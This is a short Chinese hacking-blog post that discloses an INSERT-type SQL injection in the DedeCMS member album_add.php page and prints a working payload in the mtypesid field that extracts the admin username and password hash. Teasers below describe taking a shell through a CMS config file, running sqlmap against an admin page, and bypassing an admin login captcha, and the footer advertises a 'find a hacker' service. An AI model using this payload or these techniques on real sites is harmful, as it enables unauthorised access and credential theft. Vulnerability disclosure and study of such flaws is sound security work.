Dedecms某一处insert型注入

hacker4年前 (2020-05-31)黑客文章665

Dedecms一处注入，较鸡肋，之前变量覆盖的漏洞太轰动了，所以一直没发出，之前5月份最新版本测试的，目前最新版本应该是没修复的
漏洞需要会员，所以比较鸡肋啦!
发表文章处，post表单的mtypesid可以注入

/dedecmsnew/member/album_add.php

注入的代码：

mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',

'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'

标签: 黑客技术

返回列表

什么叫Ngrep？这一专用工具 - ngrep - （它是“互联网Grep”的联接）是一个在cmd中工作中的互联网数据文件解析器，它取决于pcap库和GNU regex库。ngrep与tcpdum...

南方数据企业网站管理系统12.0插配置文件拿SHELL 在我们拿到南方数据企业管理系统后台账号密码后，可以使用下面的方法来拿shell 进入后台后点击系统管理网站配...

我们在第二课立即用指令： sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -p ly_id 获得了后台管理管员的登录名和登陆密...

NTBScan这一黑客工具从cmd运作，以扫描仪当地或远程控制TCP / IP网络上的对外开放NETBIOS名字网络服务器。NBTS能够根据称之为nbtstat的规范Windows专用工具的作用和解...

immunity debugger 翻译中文也可了解为“免疫力程序调试”；什么是免疫程序调试？免疫系统疾病CANVAS pentesting专用工具能够用于检测你的系统软件真的是多...

把以下代码中的：validate=dcug 改为当前的验证码，即可直接进入网站后台，此漏洞的前提是必须得到后台路径才能实现。 http://www.123.com/织梦网站后台/login....

找黑客平台